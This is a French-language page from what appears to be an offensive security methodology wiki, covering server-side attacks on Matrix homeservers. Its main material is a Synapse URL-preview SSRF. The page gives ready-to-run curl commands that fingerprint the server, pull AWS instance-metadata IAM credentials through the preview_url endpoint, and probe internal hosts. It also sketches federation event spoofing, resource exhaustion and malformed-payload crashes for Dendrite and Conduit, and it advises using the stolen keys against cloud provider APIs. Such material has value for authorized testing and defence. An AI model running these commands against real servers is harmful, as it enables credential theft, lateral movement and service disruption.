Exploitation serveur

La fonctionnalité de prévisualisation d'URL du dépôt de médias de Synapse récupère côté serveur une URL fournie par l'attaquant pour construire un aperçu de lien, de sorte qu'une requête nommant une adresse interne ou le point de terminaison des métadonnées cloud fait en sorte que le homeserver l'atteigne, une SSRF classique atteignant des services internes et les identifiants d'instance. La falsification de requêtes de fédération, la gestion des signatures et l'épuisement des ressources, ainsi que les bogues d'analyse de Dendrite et Conduit, complètent la surface serveur.

4 min de lecturemis à jour le 12 oct. 2026florianamette1 contributeur
Demander à votre assistant (MCP)Modifier sur GitHub

Une fois le homeserver identifié dans l'énumération, le processus serveur devient la cible, et la fonctionnalité de prévisualisation d'URL de Synapse est la portée côté serveur la plus directe. Lorsque les prévisualisations d'URL sont activées, le dépôt de médias récupère côté serveur une URL fournie par l'utilisateur pour générer la carte de lien, de sorte qu'une requête nommant un hôte interne ou le service de métadonnées cloud fait en sorte que le homeserver lui-même émette cette requête depuis l'intérieur du réseau. C'est une falsification de requête côté serveur (SSRF) : elle atteint des services non exposés en externe et, sur une instance cloud dotée d'un point de terminaison de métadonnées atteignable, récupère les identifiants d'instance. La fédération ajoute sa propre surface : falsification de requêtes et gestion des signatures d'événements, et épuisement des ressources par des opérations de fédération coûteuses.

Identifier d'abord#

bash
# is this Synapse, and is URL preview enabled?
curl -s https://target.lan/_matrix/federation/v1/version      # {"server":{"name":"Synapse",...}}
# preview endpoint needs a token; grab one via authentication.md (open/guest registration)
curl -s -o /dev/null -w "%{http_code}\n" \
  -H 'Authorization: Bearer <token>' \
  "https://target.lan/_matrix/media/v3/preview_url?url=https://example.com"
# 200 with an og: JSON body => previews are on; 404/403/M_FORBIDDEN => disabled or restricted

La prévisualisation d'URL requiert un jeton d'accès valide, créez-en donc un d'abord via l'authentification ; confirmez qu'il s'agit de Synapse, car le point de terminaison de prévisualisation et sa SSRF sont spécifiques à Synapse.

SSRF détaillée du dépôt de médias#

Pointez la prévisualisation vers une cible interne et lisez ce que le serveur récupère :

bash
TOKEN=syt_your_token

# cloud metadata (AWS IMDSv1): the homeserver fetches it from inside the VPC
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.lan/_matrix/media/v3/preview_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# a JSON preview whose og:title/og:description echoes the role name => SSRF reaches the metadata service

# second hop: fetch the actual credentials document
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.lan/_matrix/media/v3/preview_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<rolename>"
# the preview body carries AccessKeyId / SecretAccessKey / Token from the instance role

# internal service probe
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://target.lan/_matrix/media/v3/preview_url?url=http://10.0.0.10:8080/"

Interprétation : la réponse de prévisualisation reflète le contenu que le homeserver a récupéré, donc lorsque les champs og: renvoient en écho des métadonnées ou le titre d'une page interne, le serveur a récupéré une adresse que vous ne pouviez pas atteindre directement. Le chemin des métadonnées produit des identifiants cloud temporaires pour le rôle de l'instance ; la sonde de l'hôte interne cartographie et lit les services sur le segment réseau du homeserver. Les variantes basées sur la redirection et le DNS rebinding aident là où l'analyseur bloque l'IP littérale des métadonnées mais suit une redirection ou re-résout un nom d'hôte vers celle-ci.

Variantes et autres cibles#

  • Falsification de requêtes de fédération et signatures : l'API de fédération fait confiance aux événements signés et aux assertions de clé de serveur ; une validation de clé faible ou une gestion des signatures d'événements défaillante dans une version donnée permet à un serveur fédéré malveillant d'injecter ou d'usurper des événements et des états dans les salons. Atteignez-la sur 8448 après avoir lu le vrai backend depuis .well-known/matrix/server.
  • Épuisement des ressources : les opérations de fédération telles que rejoindre un salon à l'état profond, ou /state et /backfill sur de grands salons, sont coûteuses ; un serveur hostile peut faire grimper le CPU et la mémoire sur la cible par des requêtes de fédération répétées ou surdimensionnées.
  • Dendrite et Conduit : les homeservers alternatifs ont leurs propres chemins d'analyse de JSON et d'événements ; envoyez des charges utiles de fédération ou de client malformées à une version présentant un bogue connu d'analyse ou de panique identifié depuis la bannière /version.

Suite#

  • La SSRF vers le service de métadonnées produit des identifiants d'instance cloud, le pivot d'un seul serveur de chat vers le compte cloud plus large ; utilisez les clés renvoyées contre les API du fournisseur.
  • La SSRF interne cartographie et atteint les services back-end (bases de données, panneaux d'administration) que le homeserver peut voir, étendant le point d'ancrage latéralement.
  • L'injection de fédération manipule l'état et l'appartenance des salons à travers le réseau, permettant l'usurpation et la prise de contrôle de salons hébergés ailleurs.

Références#

PrécédentÉnumérationSuivant Plateformes de chat d'équipe